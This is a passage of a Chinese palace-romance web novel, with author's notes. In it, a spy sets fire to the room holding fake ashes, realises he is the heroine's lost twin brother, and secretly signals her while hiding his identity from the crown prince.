往后半月,裴璟终于理解为何前人会写下“春宵苦短日高起,从此君王不早朝。” 他默默把晨练改到了傍晚。 朝臣们敏锐地发现太子殿下最近心情大好,以前要挨板子的错现在运气好的话最多跪两个时辰,罚跪的变成训斥,训斥的可能就被瞪一下。 总之,大家的日子好过许多。 有人猜测是东宫那位不知名的美人即将临产,太医说很有可能是个男孩。 原来如此! 怪不得太子殿下每天都急急赶回东宫。 大家不约而同地都在心里求爷爷告奶奶地保佑那位美人母子平安,完全将选秀一事置之脑后。 这日,傅归荑与裴璟高坐摘星楼赏雪,两人面前温了一壶酒,几碟精致的点心。 裴璟跟傅归荑说着朝堂的趣事,她偶尔会回应一两句,有时候还跟裴璟一起笑。 岁月静好,莫不如此。 裴璟觉得自己每一天都活在美梦里。 两人正在说着兵部尚书的嫡女比武招亲一事,忽然东南方腾起一阵黑烟。 傅归荑登时跳了起来,神情说不出的慌乱,立刻往下跑。 裴璟神情严肃地快步跟上去。 烟起处,指向东宫西厢房方向。 秦平归冷眼看着燃烧的竹屋,用力一抛将火把扔了进去。 烧吧,本就是不应该存在的东西。 作者有话说: 别人家的男主:给女主一个家,获得芳心。 裴璟:给老婆哥哥一个家,获得老婆芳心。 最惨男主,只甜蜜了一章。 第62章 打脸 晋江文学城独家发布 裴璟赶过来的时候刚好拦住要冲进去的傅归荑。 火光冲天, 浓烟滚滚。 竹子中心是空的,燃烧后爆炸声噼里啪啦像鞭炮一样,里面偶尔还传来东西打碎的声音。 “放开我!”傅归荑红着眼拼命挣扎, 力道之大裴璟差点抓不住。 裴璟双臂死死扣住她的手臂,连同腰一起禁锢在胸前, 他规劝道:“你现在进去会被烧伤的, 等火灭了再去。” 傅归荑眼里沁出泪光, 哀求他:“不、你放开我,他还在里面。” 火势这么大, 存放哥哥骨灰的架子万一烧塌砸下来怎么办? 傅归荑不愿意冒一丁点风险。 裴璟眼神纠结,里面放的根本不是傅归宜的骨灰,只是普通石灰而已。 轰隆—— 一声巨响, 竹制结构的家具爆发出雷鸣般的响动。 傅归荑屈起手肘用力往裴璟身上一桶,同时脚后跟往他小腿踢。 裴璟没想到她会下这么重的手, 一时不察让她挣脱出去, 眼看着傅归荑就要往里面闯,怒喝周围的人拦下她。 “你为什么要拦我……”傅归荑神情激动, 挣扎不止, 她嗓音带着嘶吼:“放我进去!” 裴璟站在她面前, 最终还是说出来。 “那里面不是他的骨灰。” 傅归荑当场震在原地,霎时全身僵硬,她张开口又闭上,好半天才找回自己的声音。 “你说什么?” “只是石灰。” 她的眼里充满不可置信, 盈盈水光几乎溢出眼眶。 “你、你……” 傅归荑全身颤抖起来,胸口剧烈起伏, 拳头紧握, 指尖陷入掌心, 她的脸从雪白顷刻间涨红,眼白隐约爬上一层血丝。 裴璟见她急促喘着粗气,仿佛下一秒就要晕过去:“别激……” 啪! 周围仿佛因为这一声响亮的耳光被按下暂停键。 裴璟的头被打得偏了过去,火辣辣地疼,脸颊上霎时浮现五道通红的指印,最长的划到嘴角边。 嘴里腾起丝铁锈腥气,他抬手以指腹抚上唇角,温热的血须臾间变得冰冷。 傅归荑还是知道了。 裴璟闭了闭眼,这一巴掌便能窥见傅归荑滔天的愤怒,他心底生出悔意。 一步错,步步错。 那一刻,裴璟甚至想将全部真相告诉她。 告诉她,王沐然不是她哥哥,真正的傅归宜可能还没死! 但他终究不敢说出口。 裴璟缓过神后转头看去,傅归荑高举的手悬在空中,牙齿死死咬出颤抖不止的下唇,殷红的血与他一样从嘴角渗出。 落在雪白的地上,格外刺目。 裴璟还来不及替她擦掉血迹,傅归荑忽然揪住心口,眉毛眼睛拧成一团,痛苦到难以呼吸。 怎么会这样? 这种感觉……这种感觉是哥哥出事时才会有的。 可他,明明已经死了? 情绪大起大落,傅归荑觉得自己喘不上气,思绪开始变得混沌。 最后两眼一翻,身形摇晃地往后倒下去。 裴璟惊慌上前接住她,厉喝道:“请太医,快!” 说完,打横抱起傅归荑进屋。 躲在暗处的秦平归面无表情地将短刀从自己的右肩拔出来,霎时血流如注。 等看见傅归荑捂住胸口后眼里满是心疼,他迅速打开止血粉朝上面撒去,捂住伤口一步一步摇晃着离开东宫。 这些天悔恨,自责和内疚交替折磨着他,右肩的伤口不足他心痛的十分之一。 裴璟看得太严,傅归荑的一举一动十二个时辰不间断地有人监视,他根本没机会悄悄接近她,告诉她傅归宜没有死。 他不能让裴璟知道自己的身份。 秦平归心里嗤笑,若是裴璟知道自己是傅归宜,他一定会让自己回苍云九州继承镇南王府的爵位,正好名正言顺地把傅归荑留在南陵皇宫。 他想得美! 秦平归悄无声息地回到住处,从怀里掏出熟悉的手串,每一颗珠子上都雕刻着展翅的仙鹤,姿态各不相同,童趣十足。 上个月他处理好抚城的事,重新去了一趟苍云九州,在傅归荑很少踏足,真正属于她的房间找到他遗失多年的手串。 秦平归看到的第一眼是不敢相信,心想这种样式的手串兴许是苍云九州的传统样式,他也许是苍云九州的人。 然而当他细细看过去,发现这串手链其中两颗珠子有瑕疵,一个是牙印,一个是豁口。 牙印是他在被救起前就有的,豁口是他自己弄的,主要是为了做记号。 当年秦平归就有种感觉,这个手串很重要,所以它的每一处自己都记得格外清晰。 后来,他重新翻阅了一遍傅归荑的生平。 他在北蛮皇宫水底捉鱼感受到窒息那年,傅归荑被北蛮人砍伤肩膀。 他在潜入北蛮二皇子寝殿那年,傅归荑因冬日受寒,生了一场大病。 还有一次他无缘无故发热,傅归荑在那年从马上摔下来,伤势很重,卧床半月。 零零总总,他每一次身体莫名出问题时,傅归荑在那段时间总会因为某些事情受伤或者生病。 一次两次,他还可以说出自己的巧合,但重叠的次数显然已经是不合理的范畴。 他还打听到去年冬日,傅归荑在南陵生了病,太医也查不出是什么问题,他记得当时自己在北蛮抓捕余孽,腰腹不幸被箭羽射中。 双生感应。 他曾听闻某些双生子之间会有特殊的感应,一方受伤,另一方会出现不同程度的病痛。 秦平归一想到他有可能就是傅归荑寻找多年的哥哥,他恨不得掐死自己。 为什么在调查她的生平时他一点都没有注意到这些异常! 为什么要帮裴璟去制造“傅归宜”的死亡! 为什么他要劝她忍受裴璟,自己还成为他的帮凶! 秦平归在拿到手串后迅速赶回南陵京都,他想亲口告诉傅归荑。 哥哥来找你了。 请你原谅我,来得这样迟。 他还要为自己犯下的错误赎罪。 进京当天,秦平归正巧遇到她的长随,邓意带着所有镇南王府的人马离开南陵京城。 他心里疑惑,不敢再放过任何线索,于是偷偷尾随这队人打探情况。 入夜,他从邓意的房间里偷出来一封信。 是傅归荑的亲笔信。 她很放心这个叫邓意的人,信封甚至没有用火漆封口。 秦平归展开信件,寥寥数语,红了双眸。 信上说她没能救下傅归宜,无颜再见双亲。傅归宜葬在京城不宜挪动,自己后半生想在南陵京都陪伴哥哥,希望父亲母亲能成全自己的不孝,并让他们留住邓意,不准他再踏出苍云九州一步。 秦平归在看见最后一行字时终是没忍住眼眶蓄满的泪,无声落在寂静无人的黑夜里。 “兄长一生流落在外,我不忍他死后孤苦一人埋骨他乡。若有一日我与世长辞,愿能与他葬在一起。” “父亲母亲不必挂念,我在南陵一切都好。” 秦平归将手里的信攥成一团,捂在绞痛的心口,任由凉风吹干满脸泪痕。 他真想往自己身上捅上千刀万刀,若不是他查到了傅归荑女扮男装的确凿证据,怎会害得她……害得她被裴璟…… 他悔得肠子都青了。 想起那夜醉酒,傅归荑痛苦难忍地向他吐露对裴璟的不满,最后却笑着说“敬谢太子殿下厚爱。” 哪里是厚爱? 秦平归差点当场提刀冲去找裴璟,恨不得将他千刀万剐。 幸好天忽然下了场雪,让他愤怒得几乎失去理智的脑子冷静下来。 他当即修改信件内容, 秦平归作为最顶尖的暗探,模仿字迹自是小事一桩。 他模仿傅归荑的笔迹,在信的最后一行写下: 不日便可携兄长平安返家,勿念。 调换好信件,他重新启程回南陵皇宫。 裴璟心思缜密,洞若观火,想要在他眼皮子底下把人带走不是件容易的事情。 还有,他欺负了自己的妹妹,怎么能不付出一点代价。 “大人,大人。”门外有人在叫他:“太子殿下有请。” 秦平归包扎好伤口,冷冷道:“知道了,马上去。” 换了身黑色的衣服,又拿了件大氅披在身上,确认看不出身上的伤后,他拿起短刀往外走。 “太子殿下,贵人是怒急攻心,不过好在前些时日身体调理得当,等人醒过来后就再服下安神的汤剂即可。” 太医余光瞄了眼太子殿下泛红的半张脸,心有戚戚,想谏言他上药,又不敢指出来。一时间惶惶瑟瑟跪在旁边,嘴闭得紧紧的,心里却暗道这位贵人好大的胆子,连太子的耳光都敢扇。 “为何她会心绞痛?” 裴璟眉头紧皱,神色骇戾。 他明明看见她捂住心窝很痛苦的样子,她没有先天心疾,怎会如此? 太医见状立刻答:“贵人身体自打娘胎就比常人弱,心脏承受能力或许也不如寻常人,所以……” 太医支支吾吾,不过眼神已经传达到位。 切忌大喜大悲。 裴璟无力地长舒了口气,眸色寒凉。 若不是这把火,傅归荑永远不会知道这个秘密。 “太子殿下,秦大人到了,在书房等您。” 裴璟吩咐太医寸步不离地守好,有任何动静立刻通知他。 他刚进书房,坐在椅子上喝茶的秦平归立刻起来行礼。 裴璟不耐烦地挥挥手,阴沉着脸道:“给我查,究竟是谁敢在东宫放火,怕是嫌命太长了。” 他实在是想不出,谁敢在皇宫放肆,更不要说在东宫,他的地盘。 秦平归点头称是。 “你这样看着我做什么?”裴璟疑惑地望向秦平归。 他指了指自己右脸颊,漫不经心道:“你确定不擦点药?” 裴璟才反应过来他在说什么,手摸上脸颊,轻嘶了声,自嘲道:“你别说,傅归荑平日里提把剑都费劲,打起巴掌来力道可不小?” 秦平归故作疑惑:“你又怎么惹到她,这次还动手了?” 裴璟无奈笑了笑,告诉他前因后果。 末了,他坐在椅子上往后仰,眼神罕见地露出迷茫之色:“你说,我现在要是告诉她王沐然不是傅归宜,再帮她找到真正的哥哥,之前的事能一笔勾销吗?” 秦平归饮茶的动作顿了顿,嗤笑道:“现在后悔有什么用,不如将这件事死死瞒住。她好不容易接受傅归宜的死亡 ,你现在给她希望,到时候又没办法兑现怎么办?” 裴璟叹了口气,“你说的对,既然做了,不如一条路走到头。” 秦平归低下头,嘴角勾起一丝冷笑。 “我帮你上药。”他站起身走到裴璟身边,掏出药瓶。 裴璟倒吸一口凉气,“你轻点,这是什么药?” 他的脸原本只是疼,现在不仅疼,还热得发痒,他忍不住伸手去挠。 秦平归拦住他,“别碰,你一个大男人怎么连这点都忍不了?这药虽然痛苦,但好的快,你不想明天顶着这几道红痕去上朝罢,到时候御史又要上奏。” 裴璟疼得龇牙咧嘴,这哪里是一点疼,简直是像在往伤口抹上盐。 秦平归表情冷漠,不像是在给他上药,倒像是上刑似的。 “你受伤了?”裴璟的鼻尖闻到一股若有似无的血腥味。 “没有。”秦平归面如常色,甚至还讽刺他:“看来你是被打得头晕眼花,连嗅觉都开始不灵敏了。” 好在裴璟早就习惯他的大逆不道,对他的讥讽只是揉了揉头痛的额角。 “行了,你快去查,有结果立刻告诉我。” 裴璟把人赶走。 秦平归出了房门,轻笑了声。 忍着吧,这点痛又算什么。 若不是不想给傅归荑惹麻烦,他都想直接让那个巴掌印永远留在裴璟脸上,叫他这辈子都记住自己做的混账事。 临走前秦平归往傅归荑的方向看了眼,眼里满是担心,但他很快移开目光。 不能看,不能问。 否则裴璟顺着蛛丝马迹查到他身上,自己的一切计划都将前功尽弃。 * 傅归荑醒来后第一时间去摸自己的心口。 “贵人哪里不舒服?”守在旁边的太医比傅归荑还紧张,见她睁眼后立即为她诊脉。 傅归荑极力控制住自己惊讶的表情,淡淡问:“请问太医,我是什么病。” 太医如实到来。 傅归荑:“这么说,我的心绞痛还没查明具体原因?” 太医惭愧点头。 傅归荑藏在被子里的另一只手悄然攥紧身上的被褥,心砰砰跳个不停。 不是她的错觉,是哥哥真的没死! 但是,如果哥哥没死,那死的王沐然到底是谁? “我想休息了。”傅归荑闭上眼,头转到另一边。 太医会意,躬身告退,出去的时候将情况告知素霖。 傅归荑等人都退出去后才敢表露真实的情绪,她身体蜷缩成一球,微微颤抖着。 哥哥没有死! 这个消息让她难以置信,又喜悦至极。 激动、震惊和狂喜在她五脏六腑里交织,傅归荑甚至觉得自己在做梦。 嘴角的笑怎么也收不住,她狠狠掐了自己的大腿一下,痛得她眼泪沾湿长睫。 “哥哥没死,哥哥还活着。” 笑着笑着,她哭了出来。 裴璟进来的时候,看见床上的人把自己藏在被子里,抽搐得厉害。 他的心霎时难受起来,走过去连被子带人抱在怀里,低声哄道:“偷偷换骨灰这件事是我不对,我给你道歉。” 被子里的人僵直身体,一动不动,对他的歉意置若罔闻。 裴璟随口到来编好的瞎话:“南陵有个风俗,人死后要入土为安,来世才能投个好胎,我想你一定希望他下一世平安顺遂。我替他选了个风水宝地,赶明儿我带你去看看,好不好?” 傅归荑闻言,心里迅速分析裴璟的话。 他知不知道王沐然是假傅归宜? 若是知道,那这一切全都是他自导自演。 若是不知道,那他会不会派人再去找哥哥,方便更好拿捏她。 傅归荑按捺住质问裴璟的心,假装认同他的话。 这一次她一定要保护好哥哥。 在没有确定裴璟对傅归宜的真实态度前,傅归荑不敢冒一丁点险。 哪怕,哪怕他们永远不能相见。 被衾被掀开,傅归荑闻到了久违的新鲜空气。 裴璟躺在她身边,凑过去见她眼角微红,长睫上挂满细密的水珠,心里怜惜又愧疚。 “别生气了,小心气坏身体。” 傅归荑顿了顿,终是忍不住问他:“你还有别的事情瞒着我吗?” 她补充道:“关于我哥哥的。” 傅归荑清透澄亮的眸子直直望过来时,裴璟有那么一瞬间想和盘托出,但一想到秦平归的话,又止住话头,最终他摇摇头。 “没有。” 傅归荑眉头微皱,难道他真不知道王沐然是假的? 裴璟见她一脸严肃,把脸伸过去逗她,“你好大的胆子,今日敢当众打我,瞧瞧打成这样,明天我怎么见人?” 他故意板着脸,语气却一点也不吓人。 傅归荑目光下敛,注视他红肿的脸,冷淡道:“太子殿下是要治我的罪?” “我哪敢治你的罪?”他揶揄道:“傅世子别在心里治我的罪就行。” 傅归荑冷笑了声。 “你若还是生气,要不另一边也给你打来出气?”裴璟挑眉道。 傅归荑抬眸望过去,“你认真的?” 裴璟料定她不敢动手,无畏地点头。 当夜外面守夜的宫女太监们都听见了一声不大不小的击掌声,众人面面相觑,眼神在空气中无声的碰撞,最后默契地装作什么也没听见。 两位神仙打架,他们这些池鱼可不敢掺和。 裴璟捂住另一边脸,咬住牙恶狠狠道:“你还真打?” 傅归荑不说话,拉过被子,翻身朝里背对他。 裴璟也气得背过身去。 没过一会儿,又自己翻回来,强硬地把这个胆大妄为,犯上忤逆的女人抱在怀里,双腿还本能地往下去寻她的脚,替她暖着。 心想这次她打得没有第一次重,气应该消了不少。 翌日一大早,他对着镜子看向自己的右脸,果然痕迹全无。又转到左脸颊,发现还有淡淡红痕,立刻让秦平归送药过来。 “你昨天,不是右边吗?”秦平归一脸震惊地看向他的左脸。 裴璟阴沉地看过来,冷冷抛出一句话:“你看错了。” 夺过他手里的药,自己抹上去,盐水洗伤口的痛他在十二个时辰内体验了两次。 幸好现在朝会改为下午,否则让人知道是傅归荑打的他,估计弹劾她的折子会立刻堆满案几。 他是不怕,但不想让她沾上一身麻烦。 “调查结果怎么样?”裴璟皱眉问他。 秦平归从容道:“查出来了,是风吹倒屋里的烛台,大概是没关好窗。” 裴璟听了眉头更深,意外么? “怎么会没关好窗户?” “我怎么知道,这你要去问傅归荑本人。” 裴璟心里虽有疑惑,但出于对秦平归的信任,他点点头表示知道了。 若真是有人故意放火,他的神色不可能这样轻描淡写。 说不准真是傅归荑忘了。 西厢房没有她的命令无人敢进去,这算是裴璟给予她的自由。 人不能逼得太紧。 反正西厢房里有什么东西他了如指掌,外人进不去,她一个人在里面也做不了什么。 烛火? 傅归荑听见裴璟将秦平归的调查结果告诉她时,她第一反应是怎么可能。 竹子易燃,她每次离开时定会熄灭所有蜡烛,检查好门窗是否关闭。 哥哥的骨灰放在里面,她怎么敢粗心大意。 “怎么,难道不是?”裴璟半眯着眼看她,傅归荑的表情似乎有点不可思议。 其实刚开始听的时候,他也觉得很奇怪,以她的性子,真的会犯如此显而易见的错吗? “或许吧。”傅归荑假装头痛的样子闭上眼,“我记不清了。” 裴璟的注意力立马被转移,“没关系,不过是一间屋子,再重建便是,费不了多少功夫。” 傅归荑沉默没有接话。 她在想,为什么秦平归要撒谎。 窗户,风,烛台。 电光火石间,她好像明白他想传递的信息。 傅归荑谨慎开口:“我想明天去看看,可以吗?” “去哪里?”裴璟明白她的意思后不赞同道:“西厢都烧毁了,万一坍塌伤到你怎么办?” “不给算了。” 傅归荑捂住头,心里却在想秦平归为什么要让自己去西厢房一趟。 风呀风,轻轻吹。 吹过烛台把窗照。 天黑回家不敢慢。 小心阿蛮抓着跑。 这是傅归荑小时候的儿歌,大意是天黑不要在外面逗留,赶紧回家,否则就会被坏人抓走。 里面的阿蛮指的就是当年十恶不赦,凶残嗜杀的北蛮人。 “你想去就去。” 裴璟不想在这种小事上惹她不敢,大不了明天他提前叫人去看看有没有危险。 正好秦平归没事。 作者有话说: 裴璟:你们满意了?他们兄妹两个联合起来搞我! 手串剧情指路39章,之前也有零星的提示,考验各位小可爱的记忆了。 女儿生病的时候毒蛇重伤,剧情指路15章。 本文还有最后一个伏笔,看看有没有小可爱能猜得出来。 儿歌随手编的,大家将就看。 第63章 验证 晋江文学城独家发布 翌日, 裴璟本想陪傅归荑一同去西厢房察看,谁曾想在用早膳时赵清匆匆跑过来告诉他睿王死了。 裴璟眉头微皱,他怎么会在这个节骨眼上死。 眼看着新年将至, 真是晦气。 不过他也没往心里去,原本他的计划是过年后让睿王病逝, 现在不过提前了。 “你有事忙你的。”傅归荑见裴璟左右为难, 替他决定。 裴璟道:“不如你等我回来再去。睿王到底是皇亲, 面子上我还是要走一趟的。” 傅归荑有点不耐烦:“我只是去逛一圈,你有必要这么大惊小怪么, 那里是东宫的地盘,难道你害怕有人掳了我去?” 裴璟还是没有直接答应。 傅归荑扔了筷子,冷笑道:“怎么, 难道你是怕我自己跑?” 裴璟诧异望着她:“你今天气性这么大?” 傅归荑抿唇不语。 她原就想独自过去,无奈没有正当理由甩开裴璟, 谁知道早上发生这件事, 简直是瞌睡来了送枕头。 机不可失,她这才着急了些。 旁边素霖见两人气氛变得紧张, 连忙打上圆场。 “想是贵人小日子快到了, 难免有些烦躁。” 他们这些做奴才的最怕主子们有龃龉。贵人还好, 顶多是不爱说话,冷漠地拒人千里之外。但若是太子殿下心情不好,谁敢犯错免不了一顿皮肉之苦。 尤其近日两人关系相处越来越融洽,太子殿下相较于以往变得格外宽容, 他们也不必像往常那样战战兢兢过日子。 有时候宫人们偶尔犯了个不大不小的的错误,只要在贵人面前, 太子殿下总是高高举起, 轻轻放下。若是能得她一句求情的话, 免了罪也不是件难事。 可想而知,东宫阖宫上下都把傅归荑当活菩萨供着,对她自然事事尽心,没有一个人希望她与太子殿下起冲突。 裴璟果真没再往下问,注意力被转移到她的身体上,嘱咐众人要好好照顾她,若有闪失严惩不贷。 “好了,你想自己去便自己去罢,但不能呆太久,给你一炷香的时间。” 裴璟使了个眼色给赵清,示意他再去仔细检查几遍。 傅归荑收了冷脸,淡淡点头。 裴璟拿起她扔的筷子,轻轻放在她手里,劝她:“再吃点,你每日吃得比麻雀还少。” 傅归荑垂眸,主动夹起一个拇指大小的包子放到裴璟碗里。 裴璟轻笑了声,得寸进尺道:“你怎么不直接放进我嘴里。” 傅归荑自己夹了个正准备吃下去,闻言停在嘴边,冷嗤了句:“爱吃不吃。” 说罢,张口咬下外酥里嫩,肉多汁鲜的拇指生煎。 裴璟瞧她的耳根子染上一层薄红,知道她是害羞,便不再逗她,省得又把人惹生气,最后遭罪的还是自己。 扬起嘴角,吃下她为自己夹的包子。 心里暗喜,这还是她第一次替自己布菜,转念一想又感叹,这一路走来实在是不容易。 傅归荑从害怕他,抗拒他,忍耐他到如今愿意主动靠近他,裴璟实在是耗费太多心力,他甚至觉得攻打北蛮也不过如此。 傅归荑的心防堪比最顽固的岩山,起初他想用火炮一股脑将她炸开,后来发现她内部中空,强行破入会导致她从内部坍塌,整个人崩溃。 她所有的坚强韧性都用来伪装她那颗自责脆弱的心。 好在他及时发现问题,亡羊补牢,才能换来今天傅归荑朝他迈出的小小一步。 裴璟此刻的欣喜如同打了场大胜仗。 “太子殿下,”赵清实在忍不住出言提醒:“等会咱们要去睿王府吊唁。” 裴璟闻言,掩面假咳一声,上扬的嘴角改为抿紧,强行收敛脸上的笑意。 可双眸中的喜悦怎么也压不住,好在同来吊唁的大臣们不敢直视裴璟,否则十有八九都以为是他弄死的。 裴璟忽然问:“对了,发生这么大的事秦平归也没来,他去哪里了?” 赵清躬身答:“秦大人已去调查睿王的真正死因。” 另一厢,傅归荑走到被烧毁的西厢房里。 素霖想跟进去,被她阻止。 她独自一人走进满目疮痍,四处焦黑的房间,第一时间看向存放骨灰,不,是石灰的架子,那里空空如也,瓷罐砸落在地,里面的东西早已被烧成黑乎乎一片。 傅归荑蹲下,用手捻了一撮放在眼下。 用石灰代替骨灰,亏裴璟想得出。 她早知道裴璟是个不敬鬼神的,却没想到他连骨灰也敢替换。 心里生气又无奈,然而转念一想他出发点也是好意,自己打了他两巴掌也算出了气。 他被打后居然能当做无事发生,甚至笑脸相迎,傅归荑心里不是没有触动的。 换做是她,恐怕也很难忍下有人在大庭广众之下落自己的面子,更何况裴璟是天潢贵胄,是万人之上的储君。 傅归荑拍拍手起身,环视四周开始找东西。 秦平归到底为什么引自己来这里,而且还用那样隐晦的提示,仿佛是故意瞒着裴璟似的。 傅归荑额头轻蹙,这屋里早就被裴璟里里外外检查过无数遍,若真有异常定然瞒不过他的眼睛。 他到底想给自己看什么? 她心里一头雾水,秦平归不是裴璟的心腹么,而且他怎么知道这首童谣的? 傅归荑心口一窒,有个不切实际的妄想。 秦平归知道傅归宜在哪里! 他不告诉裴璟反而告诉她,说明他也不想让裴璟知道傅归宜究竟是谁? 一想到有这种可能,她睁大眼睛寸寸逡巡房里的每一个角落。 “贵人,一炷香的时间要到了,太子殿下马上回宫。” 素霖在外面提示她。 傅归荑闭上眼,逼自己冷静下来,一定有哪里被她忽略了。 “风吹倒屋里的烛台,大概是没关好窗。” 窗! 傅归荑目光迅速转向屋内的窗户,发现果然是开着的。 在屋子被烧前,她确定自己关好窗才离开,这个窗户只有可能是其他人打开的。 她迅速走到窗边,没有发现异常,忽然有风刮过,她定睛一看,发现在窗框上有根透明的鱼线。 傅归荑顺着线往上提,线的末尾吊了个重物。 当她看清是什么东西时,瞳孔微震。 这东西怎么会在这里,她明明放在镇南王府的房间里。 “见过太子殿下。” 傅归荑听见外面的唱喏声,手忙脚乱地重新扔下去。 东西不能留在身上,裴璟一定会发现。 呼吸之间,裴璟踏入屋里时,傅归荑正好关上窗。 “看完了么?”裴璟负手而立,眼神凌厉扫视着屋子里的每件东西。 “看完了。”傅归荑目光如常地直视裴璟的脸,心里紧张得不行,手学着他背在身后,五指微蜷。 “那走罢。”裴璟走过来拉傅归荑的手,恰好抓的是她握拳的那只。 她顺从地张开,然而还是不可抑制地微微颤抖。 裴璟脚步一顿,侧目而视,冷冽的目光刺在她的侧脸上,傅归荑呼吸停滞,心差点从嗓子眼里蹦出来。 “都跟你说了没什么好看的,瞧你的手都在抖,也不多穿件衣服。”他右手一挥,身上的大氅落在傅归荑的肩膀上,将人拢在怀里。 大氅带起一阵风,吹乱傅归荑额前的碎发,她却不觉得冷,裴璟炙热的体温笼罩她全身。随手撩至耳后,仰头往上看,刚好对上裴璟亮如星子的眼。 “我们走。”裴璟一手揽住她的肩头与自己贴近,一手握住她冰冷的五指替她暖着。 傅归荑垂眸轻嗯一声。 入夜,秦平归偷偷潜入东宫,费了点功夫才顺利靠近西厢房。 怪他当初排布巡防时考虑得太周全,自己要悄无声息闯进来也是困难重重。 他收回手串,又看了眼关上的窗,低头抿唇一笑。 她来过了,不但发现自己放的东西,还非常聪明地没有拿走。 裴璟心细如发,对待傅归荑更是慎之又慎。他表面上看似放宽了对她的限制,实际上连她每日读了几页书,射了几支箭都了若指掌。 秦平归与裴璟相依为伴十年之久,对他的洞察秋毫,精明机敏有着深刻的认识,北蛮在三年之内被他覆灭就是最好的证明。 只要给裴璟抓住一点线索,他必能顺藤摸瓜窥探全貌。 他想要平安带走傅归荑,光靠他一个人很难办到,幸好他妹妹冰雪聪明。 “你从前在北蛮皇宫,是什么样的?” 傅归荑趴在裴璟胸膛上平复呼吸,嗓音软中带哑,清冷的声线染上闷腔,听得身下人一阵酥麻,忍不住再与她共赴极乐。 然而裴璟知道若自己太放肆,第二日少不得又要被她冷脸相待,一连几日都不得她的好脸,更不要说做别的什么事。 他按捺住自己燥热的心,抬手替她拢了拢倾泄在后背的青丝,随意回她:“就一天天熬。” 裴璟不是个喜欢把苦难说出来的人,他不回避自己经历的痛苦,却也不会将它变成炫耀的勋章。 对他来说,朝前看比任何事情都重要。 过去始终是过去,当下和未来才是他能把握的。 从前他无权无势,任人欺凌,如今他大权在握,他不仅掌握了自己的命运,还手握千千万万人的命运。 裴璟屈指顺着瘦弱的脊骨往下滑,引得怀中人难耐地颤了颤身子,连同他的心也颤抖起来,呼吸渐渐粗重。 心一横,双臂抱住她顺势翻了个身,额头相抵,他忍不住对准蠕动的红唇再度吻了下去。 裴璟在心里算了笔账,她小日子马上到了,届时自己又要过只能看得见却吃不到的日子,不如将后面的份额提前支取。 事毕,傅归荑已然累极,但她强撑着清醒问他方才的问题。 裴璟抬手抚上她潮红滚烫的面颊,喑哑道:“怎么忽然对我以前的事情这么感兴趣?” 傅归荑抬起双臂勾住他的脖子,脸颊贴在他颈窝蹭了蹭,闭上眸有气无力道:“我想了解你的过去,你不想说,当我没问。” 裴璟半眯的眼眸倏地张大,傅归荑清浅的鼻息打在他的皮肤上,顺着血液暖着他的心。 这一瞬间,裴璟为傅归荑突如其来的关心而感动。 是一种比身体上的欢愉更让他心动不止的情愫。 他的手移到她的发顶,抚了抚满头细密柔顺的发,低下头轻啄她的额角,低声柔缓地细细道来。 裴璟平铺直叙地诉说着让他永生铭记的十年。 声线低沉,没有喜怒,像在说一个很长很长的,别人的故事。 裴璟说着说着,感觉到颈窝有微热的水滴落在自己的锁骨上,他情不自禁抖了下,反应过来是什么后赶忙去安慰傅归荑。 “我不说了,你别哭。都是过去的事情,现在北蛮已成历史,我好好在你旁边。” 他想挖开傅归荑的脸,然而她的手死死缚住自己的脖颈,身体抽搐着,差点勒死他。 裴璟无奈地随她去,手放在她后背上轻拍,替她顺气。 等怀里人终于平静下来,他听见傅归荑用哭腔嘶哑道:“你背上的伤,是在北蛮皇宫里……” 裴璟无声一笑,岔开话题:“也不全是,战场刀剑无眼,也要受伤的。” 傅归荑沉默片刻,问他:“你说自己被关在殿里,还被火烧的事,是几岁的事情。” 裴璟想了想,道:“大概是十五岁,当时秦平归才九岁。若不是他忽然醒来替我打开门,恐怕我早就埋骨他乡。他为了救我,被一根柱子砸中,烧毁了容貌,后背也全是伤。” 傅归荑身体一僵,九岁。 九岁那年她忽然发热三天三夜,夜里身体像被架在火上炙烤,她差点以为自己熬不过去。 原来真的是他。 她拿到手串的瞬间就猜到秦平归很有可能就是……就是她哥哥。 但她想不明白,为什么他不直接与自己相认,反倒用如此迂回的方式告诉自己。 以裴璟对他的倚重,必然不会对他做什么事。 他为什么不想让裴璟认出他是傅归宜。 难道其中还有什么隐情? 虽然不知道他为什么要这么做,但傅归荑下意识顺着他的想法遮掩自己的震惊和喜悦。 傅归荑放开搂住裴璟的手,转身抹掉自己的眼泪。 原来她的哥哥不是没有来找她,是失去了记忆。 傅归荑回想起遇见秦平归的点点滴滴,泪流得更加汹涌。 两人明明离得那么近,她却没能认出他来。 哥哥会不会怪她。 裴璟怀里一空,心也跟着空了起来。 “你听完就翻脸不认人了?”他嘴里不满道,把人强硬翻过来,但见傅归荑泪流满面,泣不成声。 裴璟神色瞬间变成怜惜心疼,低哄她道:“别哭别哭,其实我没有外面传的那样苦,在第三年我就开始……” 裴璟急急告诉她自己是如何联合秦平归离间北蛮皇子,让他们互相残杀,又是如何挑拨大臣之间的内斗,使得北蛮陷入内乱。 傅归荑已然累极,但仍然听得津津有味,仿佛在裴璟的描述中好像参与他们两个人不足为外人道的十年。 “一切都过去了。”裴璟满目柔情凝视着傅归荑,温声道:“重要的是现在,我们的现在。” 傅归荑浅笑地主动抱住裴璟,心里默默对他说谢谢。 谢谢他,如果不是他救下哥哥,或许今日他们兄妹再无相见之日。 仅从他的只言片语中便能窥见当年的情况有多凶险,若不是裴璟一次次护着哥哥,毫无自保之力的傅归宜怎么可能活着走出北蛮皇宫。 他才七岁,人还失忆,哥哥该有多无助。 念及此,她的眼泪又不争气地流下来。 傅归荑主动投怀送抱令裴璟惊讶,她的感情向来淡薄无声,这样浓烈像一团炙火的情绪极其罕见。 虽然她在哭,裴璟心疼有之,然而欣喜更甚之。 次日裴璟醒来的时候,傅归荑还在睡。 他低头落下一吻,小心下榻,眼眸带笑往外走,任谁都能看出他今日的好心情。 “什么事这么高兴?”秦平归下巴微扬,睫毛轻垂。 这是一个很不高兴,甚至有些鄙夷的表情,但此刻的裴璟完全沉浸在愉悦中,忽略了秦平归的不同寻常。 “没事。”裴璟克制住笑,他没有把床笫之间的事情拿出来当谈资的兴趣。 秦平归眸中闪过一丝冷意,内心冷哼除了他妹妹,还会有谁能轻易牵动裴璟的心绪。 从前他觉得傅归荑看不上裴璟有几分有眼不识珠,如今只觉得眼前这混账玩意怎么都配不上她。 “睿王的死因查到了么?”裴璟问他。 “查到了,是他府里伺候的人,眼看没什么指望便开始怠慢他,不小心喝水呛死的。” 裴璟没什么感情哦了声。 “对了,你昨天说要重新更换巡逻和暗哨的位置。”裴璟根本不关心睿王,转而问他:“不是三个月前才换过一次?” 